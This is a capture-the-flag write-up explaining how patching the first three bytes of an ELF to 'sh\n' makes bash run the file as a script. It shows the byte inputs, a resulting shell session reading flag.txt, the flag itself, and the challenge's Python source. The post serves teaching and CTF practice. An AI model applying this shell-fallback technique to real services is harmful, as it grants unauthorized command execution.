Advent 2019 - Genetic Mutation challenge writeup (First Blood)

Published on 26 Dec 2019

This month, I took a glance at Over The Wireadvent CTF with some of my teammates of Securimag.

The challenge was asking for at most 4 bytes to patch and I found it sufficient to exploit not the binary itself but rather the exec function. I don't know if that was the intended way, but it was quick enough to pop a shell and get the first blood.

Mutated ELF

We just rescued an elf that was captured by The Grinch for his cruel genetic experiments. But we were late, the poor elf was already mutated. Could you help us restore the elf's genes?

The challenge was available remotely, running on port 1206. I connected to it using netcat to get some information, and the server responded with a long hex string saying that it was "the elf's current DNA, zlib compressed and then hex encoded".

The server then asks for some bytes to mutate. For instance we can mutate one random byte in the binary:

==================================================

You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 1
Which byte to mutate? 1
What to set the byte to? 1
Alright - let's see what the elf has to say.
==================================================
sh: 1: /var/tmp/tmpbFs4fRmutated_elf: Exec format error

This was exactly my first input, and I didn't know what to expect exactly from the remote service. I also ignored this error (which was the key point), and figured I would try to find something to exploit.

I tried some other inputs to see that the service was written in Python:

==================================================

You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 1
Which byte to mutate? okweofkqwwqokfoqkf
Traceback (most recent call last):
  File "chal.py", line 27, in <module>
    pos = int(raw_input('Which byte to mutate? '))
ValueError: invalid literal for int() with base 10: 'okweofkqwwqokfoqkf'

I first thought that maybe there would be an exploit like Python2 input function but after trying every possible input fields it appeared not to be the case.

It is possible to copy the long hexstring that the server sends into a file and then retrieve a valid ELF binary thanks to this command:

xxd -r -p hexfile.txt | zlib-flate -uncompress >elf

I did reverse the binary but it was not doing anything peculiar so I won't detail the steps here.

If one decides not to apply any patch, here is the output of the binary:

==================================================

You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 0
Alright - let's see what the elf has to say.
==================================================
Blabla
Hello there, what is your name?
Greetings Blabla, let me sing you a song:
We wish you a Merry Chhistmas
We wish you a Merry Christmxs
We wish you alMerry Christmas
and a HapZy New Year!

We can notice the challenge author did not flush stdout after asking for the user name, so it was a bit confusing at first when typing 0 and having no output from the service.

With the binary in hand, I tried to patch the letters in the song (yeah I know it sounds stupid but well there were 4 mistakes and we could do 4 patches) and I got the elf to sing a perfect song, but that's it.

My friend Nics had to leave and told me to patch the binary to introduce a vulnerability, but I was not satisfied with the way the challenge was working, and I had a feeling there would be something else to exploit.

Exec format error

As we noticed, when patching the 2nd byte, we produced this error message:

sh: 1: /var/tmp/tmpbFs4fRmutated_elf: Exec format error

The error says it all: after the binary is modified, sh is started and tries to execute the binary tmpbFs4fRmutated_elf. This can be the case when one uses the function system which creates a process that will execute sh -c commandline. However, in our case, an Exec format error is raised. When I realized that, it took me approximately 30 seconds to pop a shell, but let's try to understand what is really happening.

How does bash work?

Given the previous outputs, we can guess the underlying program:

tmpfile=$(mktemp /var/tmp/tmpXXXXXXmutated_elf);
apply_patches $tmpfile
system($tmpfile)

On modern systems, /bin/sh is often a symbolic link to /bin/bash, so if we want to study sh source code, it's probably best to check out bash repository.

When typing any command in bash, it will call the function shell_execve.

This function will call the execve system call. We can dig into the kernel source code to get a more precise understanding of how it works internally. In fact, it will call the do_execve function which at some point will call __do_execve_file which will eventually browse all the possible executable formats until one succeeds, thanks to search_binary_handler.

We can list the available file formats by looking for references to the register_binfmt function.

The load_binary function of every format will be called and return a positive value on success. For binaries that follow the ELF fileformat, we can see that one of the first checks that are done is checking the ELF header.

#define ELFMAG      "\177ELF"
    /* ... */

    /* First of all, some simple consistency checks */
    if (memcmp(loc->elf_ex.e_ident, ELFMAG, SELFMAG) != 0)
        goto out;

There is also the script binary file format that is registered, which will handle any kind of shebang.

Getting back to bash, what happens if execve fails? - meaning the file it tried to execute does not correspond to any valid binary file format. Well, it will try to check for a shebang and execute it (in case you have a "losing operating system" as stated by bash source code). And if there is no shebang? Well, bash will check if it is a binary file (opposed to a text file), and if it is, raise an error. Otherwise, it will just attempt to execute the content of the file as a bash script!

Now what?

So now we know that, we are allowed to create a text file with the commands we want to execute. But, let's check the check_binary_file function.

/* Return non-zero if the characters from SAMPLE are not all valid
   characters to be found in the first line of a shell script.  We
   check up to the first newline, or SAMPLE_LEN, whichever comes first.
   All of the characters must be printable or whitespace. */

int
check_binary_file (sample, sample_len)
     const char *sample;
     int sample_len;
{
  register int i;
  unsigned char c;

  for (i = 0; i < sample_len; i++)
    {
      c = sample[i];
      if (c == '\n')
        return (0);
      if (c == '\0')
        return (1);
    }

  return (0);
}

It will assume a file is a binary file only if no \n file was encountered or if there is a null-byte present.

So with only 3 bytes to patch, we can write sh\n so the function will return that our file is a text file (because it detects a newline) and it will execute the first command.

Remember that with the previous Python error, we got the information that our input was read as a base 10 integer.

==================================================

You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 3
Which byte to mutate? 0
What to set the byte to? 115                # 's'
Which byte to mutate? 1
What to set the byte to? 104                # 'h'
Which byte to mutate? 2
What to set the byte to? 10                 # '\n'
Alright - let's see what the elf has to say.
==================================================


id
uid=8888(ctf) gid=8888(ctf) groups=8888(ctf)
ls
chal.py
elf
flag.txt
cat flag.txt
AOTW{turn1NG_an_3lf_int0_a_M0nst3r?}

Nice isn't it?

Extra

Since we are provided a shell, it is possible to check out the challenge source code:

import tempfile
import os
import zlib
import resource

content = open('elf').read()

print 'We just rescued an elf that was captured by The Grinch'
print 'for his cruel genetic experiments.'
print
print 'But we were late, the poor elf was already mutated.'
print 'Could you help us restore the elf\'s genes?'
print
print 'Here is the elf\'s current DNA, zlib compressed and'
print 'then hex encoded:'
print '=================================================='
print zlib.compress(content, 9).encode('hex')
print '=================================================='
print
print 'You may mutate up to 4 bytes of the elf.'

count = int(raw_input("How many bytes to mutate (0 - 4)? "))
if count < 0 or count > 4:
    print "Invalid number"
    quit()
for i in range(count):
    pos = int(raw_input('Which byte to mutate? '))
    val = int(raw_input('What to set the byte to? '))
    assert 0 <= pos < len(content)
    assert 0 <= val < 256
    content = content[:pos] + chr(val) + content[pos+1:]

print 'Alright - let\'s see what the elf has to say.'
print '=================================================='

try:
    mutated_elf, elf_name = tempfile.mkstemp('mutated_elf')
    os.write(mutated_elf, content)
    os.close(mutated_elf)
    os.chmod(elf_name, int('700', 8))
    resource.setrlimit(resource.RLIMIT_CPU, (1, 1))
    os.system(elf_name)
finally:
    os.remove(elf_name)